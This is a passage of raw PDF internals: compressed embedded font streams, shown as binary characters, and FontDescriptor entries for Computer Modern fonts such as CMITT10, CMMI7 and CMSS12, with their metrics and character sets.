1256 0 obj << /Length1 1191 /Length2 5104 /Length3 0 /Length 5853 /Filter /FlateDecode >> stream xڭe\[PJzKjff% ) iDJPDA$RDyssH Їb0C"A@_ ㏀)` H4%  k3ę,1h B2j!pN?L;W??POGB0^~X@Gjӝ>ꁄ]=1P\O髉 DXCF66@jSMKU#(5 Bߌ2`+q_aH+@BZQ&GҀ0#@cp `|(~] K IVMo ~n$g$ ߄b $ &3 7C oUw>P,aKma@\2Ƒ.}|a?pgw1!b{ݮL|p>q.H#4%2L]՜o^4(w+2L!8cݑtY{z [SP,5Pq)؎`Zs\^"_y_>bK$8 C]̆ndQ>uaiٮ3W6j{sgiH#TRJrz|Cm^ddB[)( 󇪮л=@N }- l 9>6Iv6x۳'}#b,ytcIWfVĈ>*'eꁮ^בf\V=ۻ^/ނ쬳%'m7|%!HXv/kf^lOͼRY]_YZ a;yDyp݌wֻãZ;w&C)_^{Z2'*jzӋ1I/i^7va6&r97 ^s bcܱKcZ @,AP=Ymbo!qd!v]z|ذ^OZ!MA{ͬx'fMzlǰf# oLQs4a(׎[a ,5 aSo%l{75LFE7{& tV˩`l1NgEtHw750M I'5M$#ŤUO?Z+ڞ~fhGY*D+ {% ;4Ez; ڈv%FD`^ͭW? o!naVB2b=9Y Ua5U2~Qvڊc^hYoAjrFkQQp}ÏU۪j)ɳY̛5ݪ W6]gY%NJLj)әq@{:SyPj?|9Yėc5.J`>3:LFKf2wU};\ъ)i}FMw_7M};״ī9b"$cpX*ء\#xe2r$KMA{u-4AV sPtٷxPasOkF2u&JFXώ;\g)g-ZJ[a6fHx"Jlt)_,`爭R}fyFgul9)IBҝWGf D TX$𒚁NpcԲPOQNZiAhUoY,ޡW 9_s^O[ƕvm+*|݋.Kh~A~rGkBustb sf[jV _ fA?( E6:- Iht錍#uܒR2տb!cVicՕ{$PiF]\`JB'$$wgp#Ypg7zt*.صec- C6o 6[797U hCQCQy鯤"4W)&FM+1sŮ%jG'W"VN:%XLD9|;:kJ([ZЕF^L<[wQ;Yno8se;͕P8ƨWkt ΀8I2Y}i㣽XZݍ8q-?KU;Nio?euy Fdz*qFqDǐVx0>)|Gx!~xdw+ꍰ[fQC|Y`їLmE$2#Eu e`a(X\^GBJs7Yz\H/inmz@ѷhk'ȿvPDJRSu)?g7i;[+a<'~&$YJ]TМm[X(; etl]uT%2NJY-殡lO'մz*=2Ek]V/?j.%5ewwMJ mz]-z6?iPG,N%Zh)iW/αH>Αr4p{~ѫ0КlRtu_D2OE˝Mj̆z/óMS Cʟw~Z z<ɻYTwUMn%˷^%1q.>w㛸dNN[ɲH +ל<} q򍴁(z(ぇ\>y]W+!8P!'VGiZxӒI~jkҲ]<[c$EĶsSK*eY'n`t<}JsVӆ R}!Qong6mt2 C>*gɓkѠ4JSM 4>zq÷.BpQl5.gX;VJGi_&ZtcLm9ıg \a}QAŢ>o#NDCZ%0%Y"QE:{ ~Ea5[3SW%Pz6wMfidi{Xc;((A @A4<֘gǜLK5Љ>ԦѪ,znB6=e̘P!.Cj>R!yEo-=%Gm"f2?ҥ3SgQޤgV2-MRs2|)%^uߤw:O) {8drlzlڊNf0wT%p"H5t"~y~A,لׯOiOx!?H_HQTh: g)"|bky0QBsӤ[4@k֜Ŵ#خO뺲KKkO{"/wSFwqGoӊwzcgfAbF54 C(쐲<ЂAuC^6/lU:i^sfXdB55e[*Ϳյ*5LZ)foU$:*ovJQwez{|F$^!7'3}}x<`.`s ,oޔnc(i*J8I'[e5T( GdX g 4]7K\ ͫW7_p}$ ꗷ/9']Gy)iɿy\Y8WfwL5}!YYbI{WUk|:z{ooKYuv|i;$6CU'| [pgp&xt΂lFOרOQFLQ3,D Iၯ޼yVXrsZv(]EᅀN)+$SC{hc%mȓh]2Y{ _?}]^⯔%ɾcm⽭^5oSzyiAL VUX[d&`4nCOw*lĞ{W9}TF˱a6 -`pl 1.|F}ŴU3s$O4}g9cn0+g]6<[(ִkXwpCZa<g}-m-OxX()IIѡPA<|\ !]L,dKR?s򊅦3w샪($nx_ 1+` S$3((v _(u7CZ]ZC'c(L? V|y&iNn#S֥ e wƌ}=9 7FEObÖQC9δz͋)>$*lDݮT #x+_>|'IE\u⋆ V.-BM*8{B7'$ӣiA8 endstream endobj 1257 0 obj << /Type /FontDescriptor /FontName /AVCSFW+CMITT10 /Flags 4 /FontBBox [11 -233 669 696] /Ascent 611 /CapHeight 611 /Descent -222 /ItalicAngle -14 /StemV 69 /XHeight 431 /CharSet (/B/E/F/I/N/O/P/R/S/T/U/V/a/b/braceleft/braceright/colon/comma/e/equal/greater/numbersign/o/parenright/r/s/underscore/v) /FontFile 1256 0 R >> endobj 1258 0 obj << /Length1 747 /Length2 1013 /Length3 0 /Length 1538 /Filter /FlateDecode >> stream xڭ{8Ti#Q#%]57NEf^͜3;sF3b\QHtJЅn& )mk+mUY9~[a'VC ũL/6 Ύ"Pw]q*)pl%>&(8)C"6ɠP PFxERkh'C;`1TBEHL& bJ!ya`jKTϣ(PPaH J5@Ht?8 ,HsT' X$CL¡0 T#'6 *ȩ."b.t1>!#@H}JF s Q|"=PLjab׸ȌfR֙l>Jju5W\_7#}N%av"7M-(^C+d6~¬MmQ%g|;V[ N ڸfF=ǻI!+piG[w=l128wFҖ5ͦZQ6s#:[}gvN_/r/N JYgյ&>[dFF(? >ǎē'UN; *k3R!ȂD1is9]g)T|Gޗ21`|L>G+x|Q^Tio;ܴudc~{B*{JQnU m MK ɗ#*(W Fer=eg?7QM"ǤlS|J<|NM꺠ǓW 7o_e-|o;is|y֧9$e/~9#2n0R. jn̉8+gQ^+E]o"欿boz/U frmqV7=qbgw1fp8No=F '~EjCQ3%ΜZ竍[{_sty_P5kmڜugZ}qrܷ݊DzܒmSrvt_ߟUcl*43] fbm[׉kJ$|4< sJiy_3^O{fr޳UzZ#Lut8v?2"]_qigmzj6}'n_L7\n. o/paS}Dzzw| ^cfacm'ruƬp]PCĜv[ &%S5^k>+k[UUV^c,{HkdlY6H)_Q`òS&̦O/TL6 5)0M endstream endobj 1259 0 obj << /Type /FontDescriptor /FontName /SRDPYF+CMMI7 /Flags 4 /FontBBox [0 -250 1171 750] /Ascent 694 /CapHeight 683 /Descent -194 /ItalicAngle -14 /StemV 81 /XHeight 431 /CharSet (/comma) /FontFile 1258 0 R >> endobj 1260 0 obj << /Length1 1988 /Length2 9038 /Length3 0 /Length 10107 /Filter /FlateDecode >> stream xڭe\iVkZrXFAk.Ii閔zSx ߙ74j q G3 ;+@RbgaHMlLv~~v H::yXY%.6eS7k=<)r4y!Ɵ +l1wl0*wtlo^^$^ `8µJe!S?ѥ7x+ Pv8o)-l+f 1wl4ٸx-ḽW?`-޸ԔՐVgDT3qprO?`G`?v0wq7 pl,'b ? ƟpL$Px@G2>(H#q WWz$#U ⃫=\]W=\]z$@;\Z~xuf8*@3ٸ[Bmho8jW e߿-bjWx,~/i ~Dn?XãpGwVo ֏Ww C >\Gl*O7v/7zNnx2'Sl8.Y]k6\I!s[qw+?8?vx1?FG7t9-/IX 7SWWx< x>^E BgS%$=}XO &~_q. -m0ls\066_WTFD xf̠DHwEgJ MM*-kdAs|fw=q׆ˋ]ډ=nDձŁdه=jR <3yxue2 Za!iE\a PD ۰'0#&wOOr /7ǠWMlUHksټ9M:7QAҸ[RSY+_ a+y8(5+8`!ω^q~dEcgpn, 8:>+>hڋlbpLl d mR{Qbv[iU\Nd޹Vo΢7ׯt u!%Nb0 /Xr{:b4ޭx TO/?.u}߼˿Lfb9׹Ő@-2$.}RUO2SJ8ekrͣfL^=OoaG|A^<7hf\# wл䄝<3h>l'粚'h;ԾufK SRZC"gm%0Z(L(^|$2XɕLz{^1mS[|]YXEORZ7Up8+^Ɲ`FK#!a[;s3ejMq~5[SsiJ{ .iv/Jbf1TK@s;iQl2Tw~Wt -<EjJW-g,8NS E wg2Aڃi2Uy|Ԯ؞H8BN"pp@~LAB"ִ6QD}DSB:.SnULSjeě|6wSWjS 2h=-Мؚڸ/Cex))s|[܉Yt0,&f :8R pRR/-C^Ű[)*Rr}<`\ĉϾ#l`yIٹ(X"=jg ّ|>dIցѦoBAph C p_f&M]EJ,sxuW)m-f4| .SoA+EHD?:uc mв~dLz*@E6wM({5HsrC MWτE_#N֮9|Ad<#]8 -{$Nw̩Η.m_dw*ob˸J$4Y=ҽ>A[3gԁz;~{ȳ9O۴ F.3/!JUJ M+pŠM6(Ko!/Mҩ ! .8O`b7 =;*mܭ #8UW-!:SCLDb%`#Kr057oحkG5';UYIQhL@!a|TϹ/AؿvkFYʪX4Ava.GYuӟqP"L3+eAzk% e)}8Ap}%Z"3\&[DoNF>(fhaԁ= uu^ Eqcx,-23 X\upV; Ϊ@ 36/@+kU(K?tn4 ] kmHڸlO(KVUhAUQA=z>mʌ4U).j=^3Y̻{#;.3!oŊ6Mks_SM`ʐV4pum7ocuSRQ6-[#Ɠ ,]MFdHø,ߔe/S5yk,z,kh{ &ܠ:` Pri~*(Fz<[>r9mVِ_Pfe8, @Ly.GUŽ_ "Rn'6\CcTv&)hҺ~i\Kl {]O0Ę/:V Ẁ!bkj5Uu=%|nK%u]a}yХDbV QRUfɞ1m ;)4? M*H^L!CAEdg(k MYA%F&u*\9yL80UV=2X m"IB]M L{7scf}w._}̎7Ɉ Y,%l䓬[z%r,٥ 4'qN+s" r&8՘fS:(qKN82wXo] E Fp$䠞\a5a ~M=(6jSBJޖTyjj|\#^LLs"e$7 T&JRU͞K,3]mȂs)ۄTTQof7iӢ#nEU (>'#` A79h5q@]]/г>r;+n 8mSoI 3I)\f#3>͆B Fne-/8<F,r׶cQ곬.8IXV3ϡ3WK7)&REr⦊GW/~^nf?]PiOV滇s!> ycb?ד;+9Y>;;n"L/(+Ԉπ;_Qtn)D_nţ:!˃{ u.!hBI1,Ȝ5; kVա{ SM|ri,TxzNo|'gf' ;$e#eOX;00i,I5sjyɫb4`j0g;q_ߠdUbe-Z1FHS'~΃r;ڸJ{B.d$s̛krS6({m"Ē?`¢жW̋i k|^v5|Sy6dIo̸BLmL _i>PdT~]*v˽J/r4`.Bj͸kif|g4@?6Zҡqn oug~[p@tx[g>Tl-=C ٗTڣj]L,)3Qj ~>ajCj~D/Y|H'&sVx#B7ԳLCWY>$+IB^]pTzU$t>uSkrv`N+hW5&[X.F۲f=&@d7N2"zF=I^zGwO^塺Í $,5P=0)V?4^0cPt2x9XݥP]KԁufW .ov$Bjb/&S.9\eFԐҝҍnV6U0tL19~4Xv@,s3F+ЂrKP1?iyx& ! V—Er3msr 뻱3"[m|ZAĂ?m Lu%*X8Kƌܵ˷ie4)d;iU3HLtpFrctX~Z /?hjime'~!}} qֶlO1MUeuh-wkror:Q8ZLVX"nj7M2cO3җ#?dȞu?4qXoiJ[y[ksַ7~bB<1HÄrөbo }(LbO??/& `jdrbJz֎bwR\˺ 'R voUﲼ1 "j{x"m6z r$\vtR.'zC(OI>:l -}2U6|8un3㡴VЂpm` :Ye rQ{C7)qd؋m\>r0 o4M#GKԶWNOԄ+$HGWT %3VYHy;rf&_ wr3cM(18̺fʴ5jx oɖ8Rm˭'Gxߙ!WYahGMKZ7ΘbJ2қGGv?MO 8Xaz&paX'Jeh^0Cr\o*JXͬfz ]dQ Zy3uVp }íuRnT&Fx T۰&sB%Y:mBټڝ nU/YMKHgA#X~z/Am]ramȽ{gEwM Di?3\="U{r;-ݓ yIO;&c5~mqO o&Մub׹~KҘiE, [z5hkR@-XB[PuJ*|!uZ'=kWر5墪(]Bp1CiCxtJYEp3k e^w/J=H!$[xq5n68"dLI^;JnFr)Cf7]L8.d)tHe Em1(ҧ8-/Y_7ebeRr# /԰_aڳadF ޜcQ(Nsı?VnԳ6T*SYek-Ӫe+=\V.s#+4BUsR'IaˀzT?@!TzehvzZQ pxl::u2tFI8~y9uG-KlJ=7keǿQ+_D6$OrOOw4W݉K(n8|pj'сyr{Kكhl6s;};8PjDpō"WV~J=\ff}\nG5$h)F-kQ48ɦhw-߀/g#;Vj^?|Ľ^o~+mÕBm N~*ۗ;@{k%%P9G|iDǚ`5EW@1$# }C2eZxa\-0} uU@6SKnqUXoi#fwS ɧmM)y%/~|iE}F͘ZِSkOX@0u~35n[t`NDߏ|JȪղ#PŜE h3@^b=TGBmwjcHqjmT/}q" WVoD"X88'KcXRK|X{ǴL'3T'' {tl>}ޅZi|%k0m+Fk\̭cb F=bNYߓLۭ07wlxA &Mn3jSD<=1e% A]+0Bn#YUq C+n(x|h[SiyHea1by]Jz$GL\ 'ơw_ -ö_fWBwN(5{H8zcă/&ՖWXQH_{0M;C߯pb"#kϭ|#&Gv@êZ\}E|9ӽgiqwgBϨ,Rzy)??xW391}|T*N52h2dk4%L;(P^qTb˂˝hԪv՘4K`ᵳe 4x쀛Vce7!5ADt-C,{HTھ4q9 ӹhN/Bg9u?du^ESmD uG"(yd:qu/gt͇,y^2 SE27W7RlxHٴ's*E"4lЏ;V7ZvEJb7cNnzںrT _Z$P"я?oJ}$*)OEP-bӑ(sN:skBvI~>[u*}h>om)-˭6IFI=Qto$jiq./T')g*G4O< .|K2FUfTSrFǾS@KITآ\'#,~=ݳ+}4ᡓ7G @s L`ـ:^dZ?æ^9bQ^qytu) Q&c*a9eP&)nOȀ{6V|W==Y'[ c{vT>Yuf݉>C,dhyބe40> endobj 1262 0 obj << /Length1 1556 /Length2 6447 /Length3 0 /Length 7326 /Filter /FlateDecode >> stream xڭeXkA@ ABRz;n`(!n.RE{s͗ZZtTj,bf&i[# PPS@ltt-L@1' ;ɃIsstK0 @L0ba lM n1(g C!f `a(x69 q#D"f0 b TEԂ wri'(Tl'_S?~?6vNP- fVN6:Vb0 ( .m 1Sr4p_v"KPQRFv/2 fO?1qr豱 8\ q6`fW uD, 0u\ (qGR(}G P8@;BT#DEYTT#PB, !MG(7#D3 !"t@TF f~x{iu/,ΐ{Ewcfg ݋@gD"RB!{ZA#"vOvwnZ;;YA}1#6qm!'v7_?F[ĵ_@ T!b{(v̅b{ύ=DL!]!{]Ws[/.n`a!%/ř:9 f׋x:VqbLښ X'zK 1"[E+V}kz; }mϸP})wm 2 }g*l7oo R?S/9ʒ)EZ=EtJ)3>) ] NzRle%va|11CS` rIT]藜H1#̜|xY6rĚU~$ܿy 6ŝN¦Z7y=K)9o8+)8 ؇?'LG$sg qZ퀾߂Pѿ0ߤ> i_JNRIkdh].wPji;*U!U;k9iytSZPk}myS &~BPf(K[r-Eoale6 γVӫWk'հ]y;S5vAk^(BC{ c UOs_9 aӼoW("UqZ'h.4's !q$bPx]<%G~,L"jNi"ivoǵߖ"z Q7vG32e+Je&#b^ {7GC?k`Y)]^g/ _^Rxitl8ώ򤃇kv؞^ u8E#e ŐQO/vՊ]OڟߔRw絡|;~g{'efyk[hq"4eW_u^Np:Zi\ : GPYxVRXRi+J s8[U]KDv  [J<2|(kx=<p56=*ZvzJ z ^\q^#ZWsj~G5HOpqZqx ji#u@G"8_QrU8:p$Pe.|M:G Ͼ f8C|NELJm*KSU^f8tMҼA-.&gչeu %ȐR"hVO &NhW]n%XvV^֡zҸJ_d' |cu65UOv껞Ue%浾*}c!\!O#TqnzXCG59'f.UUC5j720i~B]9o:o@q1Q'UO,-\f&mc:11<0'7^Mb@vO G zFTJFGbd>e̔30N ]Gl`6&TZԣ`on H(ŶbvRsه_U[8X-$3_JJTcEW#QFRWpka}u}Ebg"*S7S]~Tgَ[Cu|&Y6ٍUj$dO_1kE > a{)/S+(Ul"iDHM8rZ1P®np!/o‹1vоP }^?]KifR?--Y/SS{7BZmz.Idxˍ 5ױQUKUei߶v43ˊ tUd~}3uvJvp<"i6xW4Nn|b7!iڸa < {G-ţЊרb-VʻS?B骔zY%+m61cT)U>>F©JlO>1YPRw\(HmK~ĭ-{)8Ej8!gZՠդ",Oi;RӐ\IrmI@g܉R~JJmd%P%L5OM^5:O҉Rg۳8Bö:U?8aEͅg'kLl#}<^J6 f3.{l$=Lɮ{d4A9\H=` MϚC#$ag}^Vn K&49կ-v- `r&ߊ1f`csX\`MFյC^릛D[gw+/8L \E LZ7!ǍkP$($$Rw> dvxϧ֖Чt-<Ӗ ^`;<"&Iu՞?8jOѭIR*z^-/+/Mu`O?!sry'J*LCߩ{phK_:jtYqݔ8r/6Bn+ 1qG$qnRRr8`^ܩ!)-.OO (ةe#ޠzRzU \td1.݅綐34bb)4x]# :>ψ_qn(dV>SB#fù~ޔP~]1pMR eA/>ICZ[aKv=I/#0m1:k#?,,'0.`Tղo~%:B~7L v.у$b϶H7d7m6es,YjYN?P^Z7\;Wp[ho]`]r¸Ȥ ̋IOU7UwI\鉾/;3f4m3Va;kX٪1'y웟Kh3$ w|G 78> &qS8 Ll4d|IS+Dz Y_A]r'eӗk5N4-7f_8VceC#o?oDVUR)Np;(~v rXH)tH2n@Ec VlZP'd5 /r ]: `[w@j)ixbau w2]p=:02:qM8S.Cbq=vM3Gݗb $~_r9X[$':#5*zU-uFͷ{O%#).iVXKsi7&+w2ݤhj /" R]^("o+;ԿKeؾ)3gSsxGX!@<` "?d\{ZAzILڈh[˲;aŧ8OeaMl:R8 gGlЖ`j$y"'A+J`yH͍$)œEQ/PCOo|3j%D3]cY-(=~*Pޯ67 d~Kқ'8/8qW= \]$!VN2EC -_t\=mxI4ͥOX7WȦ!Ѕ:Rr旲LC@|FI"ۻGAVf1MIdRxrKu̐f<WtDs&nZ0>c~dۛT6GkH j"y%'3.~Js~Ⱥ\TDȚ#49^Fcͷ~3#tA5]"x(/'i}>cJŋHjQ~{nZ2;.yR*/?!29ajl{pkXU !yƏI̖hƐKâR 6R O zDѐpyNϻ}'+mz<'uj d endstream endobj 1263 0 obj << /Type /FontDescriptor /FontName /NDGAHU+CMSS12 /Flags 4 /FontBBox [-62 -251 978 758] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle 0 /StemV 76 /XHeight 444 /CharSet (/A/B/C/D/E/F/G/J/L/M/P/Q/R/S/a/acute/b/c/comma/d/e/exclam/f/ff/fi/g/grave/h/hyphen/i/k/l/m/n/o/one/p/parenleft/parenright/period/q/question/quoteright/r/s/t/two/u/v/x/y/z/zero) /FontFile 1262 0 R >> endobj 1264 0 obj << /Length1 1796 /Length2 8000 /Length3 0 /Length 9000 /Filter /FlateDecode >> stream xڭUe\ݶABFj:D%fS;E;F@@JP$x{s/ֳ{i)XDLv( SPSX0hiFPK;"v6ĎA ww4^v؂-M #abdP3CY"66NUlʊL-Mc%[ G.`G'(LKL` 6*raJ?D7oM?F6`gk ;LvMljlߧ2P#K I ll 58eCL[oԔWgg:S6@v=bXw-lll #Kbbgj -70,!`7 & Bx1~ mq{D#% 6P@GJ?"P?"X>?Ʃ`,Ƣ8@Gc`;4@0F&cUedkf#DƏV5j6>9Y?4&vYmmKZӿ ,Hdb-H~88ӟ~; k#Ř=B.X_{9;s1 Jy & w{ 0//_֪ԁ`mx b ukl002{#G0? _ΌcX=NV_0c{a`/_] vUddA \ jW/S0> j`;9QQ;7O+bf]j88; 'f v`,ٙZ4HL"3‹7*uOw`,ۼs`\պ.K'F~zKQClvG I=e>n[.xϫc%څYGy ;˔p=.=V!hL_ڝ rξ%w` {{- i;h={j/')ỹW_"d+ {' /zdeI't+.j&B2ᛘMQ jw93<{J 7t "R3gV&W[r h_~#㭉:n_!bs4S9 Xo8$zh<|kke'9_o1׾c,:%_2Fo26WCΌpP)\@ޟٰ B ׋"*7C7kV~7JE6c]ØJzSo>O{rV)5 X5M9)0{Սyաn9$lF=~am|B ؎xB| u w ښA-ɋ9B\aqDt/hK [@/fݰ7tOrRmɢM3i'Z `S{UniEIW_ɹ[k.+RuvSd}7~L0Ei204Y*0Y8F;6kS\IFVΓ,Tq_IC=?hJzqu-6gy͉~j%Rim;v;Υpuϑ'V\2F7ѥ/TXb{t=-tN)~~4r@2ΩGi*Y{ϓw؀:}$yn%ކJ,wKǢHvvsdk=Y UK o9kF4*IwtꋪUW snٯCg+Grh3<$ 0rHM83B1&7C*d$]gHe]NK1y QjkZi-60IF6bJףjɨzx]N3ۡی W#DiY88-]ao9N<> W̠Guu10p[KjQ rrvOfr ;i3mXsٵ=,7>6Lv4P76N۴.}زH;׊#F{`֍9ZtyYIUx*V)8::}ޮdf$19S{ ZC *- DHzdɱ-\-2DKqagN>{ueZv\*7}hJg8<(+*鱤YEc=n [Mag;vgM,N=ԪZ.7"kT^lz^Cku Lo9+v;+镩PDSN Gkz9na2t>fuұ{{H7ϫάepDq)f,')Vw`$L K˦[a/4ڪ#Uv['#ӡ+kYy0M Du(7:R;N +䩡8[u7]7R݅Q(ݾe^\b&O:D shR~%'x?9Qs,kK&%Y3T_ `2({e& s|[ qݵuԉdJ-CK}- +l`e\ Kx"6n 쳪 v:cb 󩌽nմ8 07|S0+\u^ث~(6˯Zo/{ sO.;\7Js ?.11GL]}Y 1N.ɦd8ݦٿ=UCDzߦ4Q5I|z<)v%₏G"jt]ŇO\aqM1'?)9Xw3?y>hΣ%[%6idfAmU{6Բ\iYrrMwaKZUe: 4r!U+{~N,C5b/)^%@bMD i>gːnAvΊS0Cv#.ZXJ6fmd+Ā|ɀ%cƸq:rujijmHHRc,ZM5Tx C̓ıCpE+72lMۀ_\گVU)Xýf؆VR8o%Ƭ[ Eʟ _7ǡ}/tR3w] ԓD<|!h:DT}b6Yquv%->T5-)!r|<Բ~)VV5ɵ~o_mzXT]Uœ?qekܽBͫ]0$Fx 4mx<˺{ EͶbjJ#!a+PdI)o|Ns?2[std)Y]'&o}Ϗ OC= ̱[WNj-wXjmnEK\ɪ΄ Vһ5TO`og>574앬"b"%m+~xկ'm2m%^\hygƖi n6Ho93w B+p܄"URHY.LogEhXKt-~&nBud|gLzaY/;X k!`¸iD5~ZA}t=7H~oa9Q[KYdJ9Bo}lW{hRU_poG |N_%Ɏa=Rtb{]ƱoP*;{$גJ$ݿlgQб0}@_\SU~a.Iږ=O7:C.;S޼GC1vӀ,23hIZ+2r R|ÅNu +:5~Mk`8yxoq+0T]]8g1![~:[P@y*\Z ɐ!3NCR$MO\XoKhv5uGt4jQDbFd)yde&d6%hXAix,n`1*fy_ԙljontr~?ohvn-YKUgbI/}t&J] v҄:pī~i~ђ1x<=D~=LFDq2¿+ (ا9rm_/#Bu ý3H+9{w! wDj˄􉊔{3<sUj8 kU Gp8s=9i/FRdEsAM~r9\@\tqϑڗi`QBA \/b=̻\g%|Y\f4ql .\P𹶑M ߇2?O)Rkߛ8}1K`4IeXkVCsz6υvi9I)"x}hlP.-rFa$y7T HG!k(zNTlso&ux!nXQ"#G YZL] lk e!;fpc$S_)wrzOinӱJ.FuWzū#җ@R_cΥ˲Ql'ԑT)]"6j sV3{2^e;NNΩQ(b ;\qcTu 8GW#n @}O7UxxOf<:sؖ!(`i$6G"!Br{/P\XDī랫ExGm4n[l(!幔Jtc@ՙY9f[协PK܏ZŝxjOp{ cQpWḺ[FL&_Hƣ}ӥ^bp%ۓ~6֮3Wʎ8,(gxjDjZ1Pjwڴ. Zm U3+pчg-E&X=ڂ| 8ame~B ݦ5=dd;|5~x2R蕑w{O:ٌߝ*aʿ\v ́qxͺԪ`VV'iW7HLW nY8q+n $ܧu:4?)~8ѡaqZsy%\~%}WO,"o\5\%Ϡ攴cp9^J(ETn:aN7=8J8+ET GOM) 1jA %v) .NH=𸽻}n/!HljF]BD~ݔɋ,F}D$}vۋ|?+Yr|}J @-, 䒍O5zkwQK{F+IQƖ#uɿaT%pDzs]t|{NbF1ôD}r OYPhj2:*,KWdRPH,z7jVBw}5|s pܟwŗ2[|+Vj֎'z/ԸXE2wkb/i?z3h٤ȿa<-Xz']H^u#i2/<B9™\d*J 5ՌFxj|W<-(D9n`<,b26Y+jᥓ9X~Baq!&`>ۤ=b"Ь+P_].z+cNilx?\w $KuK=m\l{^tZquǶB_E,fyS`򾞐T}D,:b}m^) zmΞr|WUaɫ+>?k*_dSWRF`w'? {Oj5n,S3/S2 +^[w9f`XrX,o r\d g^$'o]GD0B;=~FrT;oeM0+-ftJ~փcfMiFT+CǸC %{|*mނܚ5q'W_DZAee*H?fIN%1 &'w[qЁPG8E~7` brPaxX 嗐͛ۤ3֚ylUd&b*ڌ6Nf%rLQ*>^` tfF% g_hD댍<>y~B%^%:IAÞiX#-eGfuӾF!cYtnbK1h"mVT< Qǀ ]Z 9Ы}O9 b쯘' Cg]Dxݕ)XS}R+8LUc«nȣsm(1 |]fw',@-hJ곬j.mm}e] ף%Z1 f?6?oB$Q%{6};k׌0di%$|Q((qegUW#SQWԩ=RbVwFA3cK$+v,fdWʯF4)DfSg(g~*k]A4ʌz46mi̬7쏆J{b44m3ir|1b{Ĥ>  Orr hc!RV&R>r$|I :+l")? endstream endobj 1265 0 obj << /Type /FontDescriptor /FontName /WHGCLT+CMSS8 /Flags 4 /FontBBox [-65 -250 1062 761] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle 0 /StemV 87 /XHeight 444 /CharSet (/A/B/C/D/E/F/G/H/I/L/M/P/R/S/T/W/a/acute/ampersand/b/bracketleft/bracketright/c/colon/comma/d/e/eight/endash/equal/exclam/f/ff/five/four/g/h/hyphen/i/l/m/n/nine/o/one/p/parenleft/parenright/period/plus/q/quoteright/r/s/seven/six/slash/t/three/two/u/w/x/y/z/zero) /FontFile 1264 0 R >> endobj 1266 0 obj << /Length1 1391 /Length2 5283 /Length3 0 /Length 6096 /Filter /FlateDecode >> stream xڭu\jiA:C`YFPAX`%RbZ.)S.Q9=x?g7+#}""GFA0?^gMHHËi1l]?0 @LĜ4;ka_&C:YH[Q F0zz.ӂuZLMg$?u?S:-\4 T8&buc<(s~1aǼ4AhtqbbE<= O~Rf[6Vuf8l> g*T[x?]#>PC9Ǣ'V-VSMSVg[dǏEuFLs2rt fYڞ״:Wq 蓣DB<^ ڇݛ9@R!̎zzFCa4MP#93^q*N:}_.[vði4q\[A~օ&m'3n ԅH*$\x%sմ5 |Q.wn׎igX zJP*30k@R>_m[}wDM t|23TZ'v:". )<%\YRӑmg {{wfW%/u d.dDIFޢqkbzU-Q)raAVzJ^n?ҎPm&^PE5y–s;_)T4[:+Vʉ钠>-jo\-b[?z$n: ;>Z$q`Aɟ˫Q[5o*rq_]n<%rd Vl'YK &exw[$qq,DwJHqJ/"P6X廐t/sreg\/G]|Oٮ;e0-rTc0z DӤV1i([s1 [,EnA>񶯉Iq>p2C;Y|\kL''x0K7:@<@6|/C53&GX/+F3ss#p a*cӤWː4)p`cd& N&ҝxsl_" klߘPLPMnͽ9UҮi^'-z2|lV$k+p"-4_Gҳcݴ>e! ZKV}ˉ;i',bϝG(hGJOyL =zKm67ΨÌbgvs9MƏ_kY%N7$Fv0z2iEod(_~G/(޳ttےyqlU >BɶW9UB_%f9*o38-0VKGm޸O8}}jZ<ݠT\ՏB^b~'=qAadB܂ i N_+!Z0nEN'Uu?`Rvv6)ΤM̃|@-Um76-t-e hG3JdkNv`o>IL۫ė$kMnžtW<EkK k>Jb꾠׳JPv|RhQ.IIy!y:Rmz")ɬ"v"fs1wBgrE,7j67JTl+]6m@Ӫ4?lOn5n(dM}-)ìySꁴHyx_5|Yan ^>C?J_o se7i]-ӯL!;s-)6]rz h;}*" {Tä`CN e_'>9-”', ͪkAiTk"ӎ󇜴IF:;:=҅ /`1 GL~Ju<1IF_J;) u҇e_-!Dt&a2ӯ; k^3]1)ސaܛ+єE6>O;ϧ#n6[|x&pe:"< #o\Mr 9Ϙs@j4uQb!ݹT1g@JlZ1 JYϬ88sd@EƩu <ڋ|>PKzA+ʟ 6KXzʟneqJ}=qv+`87 ׭)!|=IS$?DYLwN{%sɇki oJL|`cT|#vQ#'Cz˫JƟi$ |xFLIisE115"yCohߍF#am6_]d%t#3Œ…MkKxeٕ4Gۚd_ʣkj~6+P2Je*:e~A-ʵbRy7vUz9#*b [fTtsx3v~K͜2SJSw -_TO 5` b>l\$缅ڈ?+>qK`|c&ԗ5yU߀4qax+H2|8r5q vZ%64HTfl Z|<<9h0XIjT16B;īi5~};mX,g/.rR\ BB e卪$IӤB{=Llh[g2_Uڋ{yat = FۚH![`p\[ssi'ٺv^PuyG LM!cf8~qR[B^ ,vO>*=J @[%T|'u]g|DIP +P˗J7渹+!]`0a)}ipTYA^)*F2Z] ?gz<d7SOIKx_4`qrEa #IMišqԮuan<(rJzKe!RG0*QJ+޷ԝHn#AHfKq),$RTG[4LA{.+J(QUJlXv+lךʐwcw#'мz:A(Uâ'c0 Uh=l^F}F) ,R>+h0JMTUu"Kz4`Md2|8K1IU0a+u$QHGèR69PsvW9{Wlp VRo }izm*ўct[cdEuծ7^r z,+J-_!(^QݹRSMeyţ}}a}:x. ;sN#9> x;@h~?^ZWظ0>灜VSTo;b<_sIa -g2dbLRnlHҸR.Fv|9NbBЭt&ڵ%(벖xٰ8.D,{_YY<&C4>ĎsbrL}zmD{L4},VWw9 &}lqL9cE56B&ݕt#J0ќISiЖ.1l y~.$MPەۛ$s/ CZT9a y}iUHN*+`OGr`s26D?YF D2)iތfNPkp'm@QSپx-{K~H&52 1- ݓl O8ՁˆH~bZ3ITG<3O@N%!h4A5yYN7T.5iSx IqQ V4^|3/rn1DNte-{+/ \^d1*-<;+TD\Rs Fudhr<(LQ0P =z |VOī=k$=:O|?j1 endstream endobj 1267 0 obj << /Type /FontDescriptor /FontName /QFMSVK+CMSS9 /Flags 4 /FontBBox [-63 -250 1027 760] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle 0 /StemV 83 /XHeight 444 /CharSet (/C/D/E/F/I/J/L/P/R/S/U/a/acute/b/c/colon/comma/d/e/equal/f/fi/g/grave/h/i/j/l/m/n/numbersign/o/p/period/q/quoteright/r/s/slash/t/u/v/x) /FontFile 1266 0 R >> endobj 1268 0 obj << /Length1 1635 /Length2 8845 /Length3 0 